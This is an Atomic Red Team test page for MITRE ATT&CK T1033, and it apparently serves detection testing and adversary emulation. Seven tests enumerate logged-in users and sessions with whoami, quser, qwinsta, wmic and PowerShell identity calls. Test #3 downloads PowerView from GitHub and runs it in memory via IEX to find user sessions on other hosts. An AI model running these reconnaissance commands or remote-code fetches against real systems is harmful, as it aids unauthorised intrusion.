# T1033 - System Owner/User Discovery

## Description from ATT&CK

> Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using [OS Credential Dumping](https://attack.mitre.org/techniques/T1003). The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
> 
> Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.
> 
> On network devices, [Network Device CLI](https://attack.mitre.org/techniques/T1059/008) commands such as `show users` and `show ssh` can be used to display users currently logged into the device.(Citation: show_ssh_users_cmd_cisco)(Citation: US-CERT TA18-106A Network Infrastructure Devices 2018)

[Source](https://attack.mitre.org/techniques/T1033)

## Atomic Tests

- [Atomic Test #1: System Owner/User Discovery](#atomic-test-1-system-owneruser-discovery)
- [Atomic Test #2: System Owner/User Discovery](#atomic-test-2-system-owneruser-discovery)
- [Atomic Test #3: Find computers where user has session - Stealth mode (PowerView)](#atomic-test-3-find-computers-where-user-has-session---stealth-mode-powerview)
- [Atomic Test #4: User Discovery With Env Vars PowerShell Script](#atomic-test-4-user-discovery-with-env-vars-powershell-script)
- [Atomic Test #5: GetCurrent User with PowerShell Script](#atomic-test-5-getcurrent-user-with-powershell-script)
- [Atomic Test #6: System Discovery - SocGholish whoami](#atomic-test-6-system-discovery---socgholish-whoami)
- [Atomic Test #7: System Owner/User Discovery Using Command Prompt](#atomic-test-7-system-owneruser-discovery-using-command-prompt)

### Atomic Test #1: System Owner/User Discovery

Identify System owner or users on an endpoint.

Upon successful execution, cmd.exe will spawn multiple commands against a target host to identify usernames. Output will be via stdout. 
Additionally, two files will be written to disk - computers.txt and usernames.txt.

**Supported Platforms:** Windows

**auto_generated_guid:** `4c4959bf-addf-4b4a-be86-8d09cc1857aa`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| computer_name | Name of remote computer | string | localhost|

#### Attack Commands: Run with `command_prompt`!

```cmd
cmd.exe /C whoami
wmic useraccount get /ALL
quser /SERVER:"#{computer_name}"
quser
qwinsta.exe /server:#{computer_name}
qwinsta.exe
for /F "tokens=1,2" %i in ('qwinsta /server:#{computer_name} ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > computers.txt
@FOR /F %n in (computers.txt) DO @FOR /F "tokens=1,2" %i in ('qwinsta /server:%n ^| findstr "Active Disc"') do @echo %i | find /v "#" | find /v "console" || echo %j > usernames.txt
```

### Atomic Test #2: System Owner/User Discovery

Identify System owner or users on an endpoint

Upon successful execution, sh will stdout list of usernames.

**Supported Platforms:** Linux, macOS

**auto_generated_guid:** `2a9b677d-a230-44f4-ad86-782df1ef108c`

#### Attack Commands: Run with `sh`!

```sh
users
w
who
```

### Atomic Test #3: Find computers where user has session - Stealth mode (PowerView)

Find existing user session on other computers. Upon execution, information about any sessions discovered will be displayed.

**Supported Platforms:** Windows

**auto_generated_guid:** `29857f27-a36f-4f7e-8084-4557cd6207ca`

#### Attack Commands: Run with `powershell`!

```powershell
[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12
IEX (IWR 'https://raw.githubusercontent.com/PowerShellMafia/PowerSploit/f94a5d298a1b4c5dfb1f30a246d9c73d13b22888/Recon/PowerView.ps1' -UseBasicParsing); Invoke-UserHunter -Stealth -Verbose
```

### Atomic Test #4: User Discovery With Env Vars PowerShell Script

Use the PowerShell environment variables to identify the current logged user.

**Supported Platforms:** Windows

**auto_generated_guid:** `dcb6cdee-1fb0-4087-8bf8-88cfd136ba51`

#### Attack Commands: Run with `powershell`!

```powershell
[System.Environment]::UserName | Out-File -FilePath .\CurrentactiveUser.txt 
$env:UserName | Out-File -FilePath .\CurrentactiveUser.txt -Append
```

#### Cleanup Commands

```powershell
Remove-Item -Path .\CurrentactiveUser.txt -Force
```
### Atomic Test #5: GetCurrent User with PowerShell Script

Use the PowerShell "GetCurrent" method of the WindowsIdentity .NET class to identify the logged user.

**Supported Platforms:** Windows

**auto_generated_guid:** `1392bd0f-5d5a-429e-81d9-eb9d4d4d5b3b`

#### Attack Commands: Run with `powershell`!

```powershell
[System.Security.Principal.WindowsIdentity]::GetCurrent() | Out-File -FilePath .\CurrentUserObject.txt
```

#### Cleanup Commands

```powershell
Remove-Item -Path .\CurrentUserObject.txt -Force
```
### Atomic Test #6: System Discovery - SocGholish whoami

SocGholish performs whoami discovery commands and outputs the results to a tmp file. 
The test will generate a filename similar to the random one generated during execution and write the file to AppData\Temp.

Reference: https://redcanary.com/threat-detection-report/threats/socgholish/

**Supported Platforms:** Windows

**auto_generated_guid:** `3d257a03-eb80-41c5-b744-bb37ac7f65c7`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_path | Location of output file | string | $env:temp|

#### Attack Commands: Run with `powershell`!

```powershell
$TokenSet = @{
  U = [Char[]]'ABCDEFGHIJKLMNOPQRSTUVWXYZ'
  N = [Char[]]'0123456789'
}
$Upper = Get-Random -Count 5 -InputObject $TokenSet.U
$Number = Get-Random -Count 5 -InputObject $TokenSet.N
$StringSet = $Upper + $Number
$rad = (Get-Random -Count 5 -InputObject $StringSet) -join ''
$file = "rad" + $rad + ".tmp"

whoami.exe /all >> #{output_path}\$file
```

#### Cleanup Commands

```powershell
Remove-Item -Path #{output_path}\rad*.tmp -Force
```
### Atomic Test #7: System Owner/User Discovery Using Command Prompt

Identify the system owner or current user using native Windows command prompt utilities.

**Supported Platforms:** Windows

**auto_generated_guid:** `ba38e193-37a6-4c41-b214-61b33277fe36`

#### Inputs

| Name | Description | Type | Default Value |
|------|-------------|------|---------------|
| output_file_path | Location of output file. | string | $env:temp|

#### Attack Commands: Run with `command_prompt`!

```cmd
set file=#{output_file_path}\user_info_%random%.tmp
echo Username: %USERNAME% > %file%
echo User Domain: %USERDOMAIN% >> %file%
net users >> %file%
query user >> %file%
```

#### Cleanup Commands

```cmd
del #{output_file_path}\\user_info_*.tmp
```